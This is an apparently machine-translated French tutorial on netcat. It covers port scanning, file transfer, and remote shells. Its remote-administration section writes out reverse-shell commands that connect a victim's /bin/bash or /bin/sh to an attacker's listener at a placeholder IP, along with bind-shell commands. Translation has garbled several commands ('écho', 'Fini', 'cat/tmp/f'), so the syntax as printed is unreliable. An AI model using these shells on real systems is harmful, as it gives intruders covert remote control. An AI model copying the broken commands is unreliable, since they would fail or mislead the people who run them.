Une brève différence entre netcat-traditionnel et netcat-openbsd
Il existe deux packages similaires disponibles pour netcat avec une légère différence entre eux.
netcat-traditionnel inclut une option '-e' supplémentaire qui peut être utilisée pour lier un programme (i.e bash) avec netcat. Cette fonctionnalité est très utile à des fins d'administration à distance.
netcat-openbsd avoir un support supplémentaire pour IPv6 et les proxys.
Installation de Netcat
Bien que netcat soit pré-installé dans la plupart des distributions Linux, mais si ce n'est pas le cas, il peut être installé facilement à l'aide des commandes suivantes.
Pour le forfait traditionnel,
[email protected]:~$ sudo apt-get install netcat-traditionalPour la version openbsd,
[email protected]:~$ sudo apt-get install netcat-openbsdNetcat pour Windows peut être téléchargé ici https://sourceforge.net/projects/nc110/files/.
Nous allons maintenant explorer quelques cas d'utilisation intéressants de netcat
Balayage des ports à l'aide de netcat
Pour rechercher les ports ouverts, utilisez l'option '-z'. Netcat essaiera de se connecter à chaque port sans envoyer de données ou de données très limitées dans le cas d'UDP. Tapez ce qui suit
[email protégé]:~$ nc -z -v hackme.organisation 80… couper…
hack moi.org [217.78.1.155] 80 (http) ouvert
Pour rechercher une plage de ports, tapez
[email protégé] :~$ nc -z -nv 192.168.100.72 20-80(INCONNU) [192.168.100.72] 80 (http) ouvert
(INCONNU) [192.168.100.72] 22 (ssh) ouvert
Transfert de fichiers avec netcat
Un autre cas d'utilisation utile de netcat est le transfert de fichiers entre ordinateurs distants. Vous pouvez envoyer des textes et des fichiers binaires d'un PC à un autre PC. Nous essaierons d'envoyer un fichier "fichier.pdf" du PC Linux au PC Windows [IP 192.168.100.72] en utilisant netcat comme exemple.
Sur la machine Windows (récepteur), tapez ce qui suit
C:\Utilisateurs> nc -nvlp 1337> fichier.pdfÉcoute sur [0.0.0.0] (famille 2, port 1337)
Sur la machine Linux (expéditeur), tapez ce qui suit
[email protégé] :~$ nc -nv 192.168.100.72 1337 < file.pdfConnexion à 192.168.100.72 1337 port [tcp/*] réussi!
Administration à distance avec netcat
L'un des meilleurs cas d'utilisation de netcat est l'administration à distance, ce qui signifie que vous pouvez contrôler le PC de quelqu'un d'autre à l'aide de netcat. Netcat-traditional est livré avec l'option '-e' qui peut être utilisée pour lier un programme (i.e cmd.exe sous Windows ou bash sous Linux) avec un port, cela signifie que netcat agira comme un communicateur entre le programme et le PC distant. Netcat recevra les commandes du PC distant, s'exécutera sur le système local et renverra les résultats au PC distant. Cette fonctionnalité est largement utilisée à des fins malveillantes, pour garder les portes dérobées dans les PC et les serveurs. Cette fonctionnalité n'est disponible que dans netcat-traditional mais avec une petite astuce, netcat-openbsd peut également être utilisé dans le même but. Vous pouvez utiliser deux façons de contrôler le PC des autres.
Dans un Coque inversée connexion, un attaquant écoute sur un port et attend qu'une connexion soit envoyée depuis la machine victime. Il est utilisé lorsque l'ordinateur victime est derrière NAT ou n'a pas d'IP publique.
Pour obtenir un shell inversé en utilisant netcat, vous devez écouter sur un port en utilisant netcat. Tapez ce qui suit sur la machine de l'attaquant,
[email protégé] :~$ nc -nvlp 1337Écoute sur [0.0.0.0] (famille 2, port 1337)
Sur la machine victime (si netcat-traditionnel est installé)
//remplacer "/bin/bash" par "cmd.exe" dans le cas de Windows
[email protégé] :~$ nc -nv [IP_ADDR] 1337 -e /bin/bashPour netcat-openbsd (où l'option "-e" n'est pas prise en charge)
[email protégé]:~$ rm /tmp/f;mkfifo /tmp/f;cat/tmp/f|/bin/sh -i 2>&1|nc [IP_ADDR] 1337 >/tmp/f
Alors que dans un Coquille de liaison connexion, l'attaquant lie un port sur la machine victime et se connecte à ce port à l'aide du socket client. Il est utilisé lorsque la machine de l'attaquant est derrière NAT ou n'a pas d'IP publique.
Sur la machine victime, tapez
[email protégé] :~$ nc -nlvp 1337 -e /bin/bashécoute sur [tout] 1337…
Maintenant, pour exécuter des commandes sur la machine victime, tapez
[email protégé] :~$ nc -nv 127.0.0.1 1337Connexion au 127.0.0.1 1337 port [tcp/*] réussi!
$ identifiant
uid=1000(azad) gid=1000(azad) groupes=1000(azad),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),118(lpadmin),129(sambashare)
Serveur Web simple utilisant netcat
Vous pouvez également faire une autre astuce simple pour utiliser netcat comme serveur Web minimal d'une seule page. Ce serveur web serait très simple sans configuration particulière, et nous l'utiliserons pour envoyer notre code HTML au navigateur.
[email protected]:~$ while true ; do echo -e "HTTP/1.1 200 OK\n\n $(écho "
Mon serveur Web simple utilisant netcat
")" | nc -nvlp 1337 ; FiniÉcoute sur [0.0.0.0] (famille 2, port 1337)
Maintenant, essayez de récupérer la page Web à l'aide de curl
[email protégé] :~$ curl http://127.0.0.1:1337/Mon serveur Web simple utilisant netcat
Spécifier le délai d'expiration pour une session netcat
Vous pouvez spécifier le délai d'expiration pour une session netcat en utilisant l'option "-w". Netcat déconnectera automatiquement sa session une fois le temps spécifié écoulé.
// -w [Temps en secondes][email protégé] :~$ nc -w 40 -nvlp 1337
Écoute sur [0.0.0.0] (famille 2, port 1234)
Continuer l'écoute même si le client ferme la connexion
En mode normal, le serveur netcat s'arrête et arrête d'écouter sur le port lorsqu'un client ferme la connexion. Vous pouvez maintenir le serveur actif en utilisant l'option "-k"
[email protégé] :~$ nc -k -nlvp 1234Écoute sur [0.0.0.0] (famille 2, port 1234)
Conclusion
Netcat est un utilitaire simple mais efficace qui peut être utilisé pour de nombreuses tâches quotidiennes simples. Il est pré-installé dans presque tous les systèmes d'exploitation UNIX et peut être utilisé pour diverses tâches telles que la communication entre deux PC, le transfert de fichiers et bien d'autres.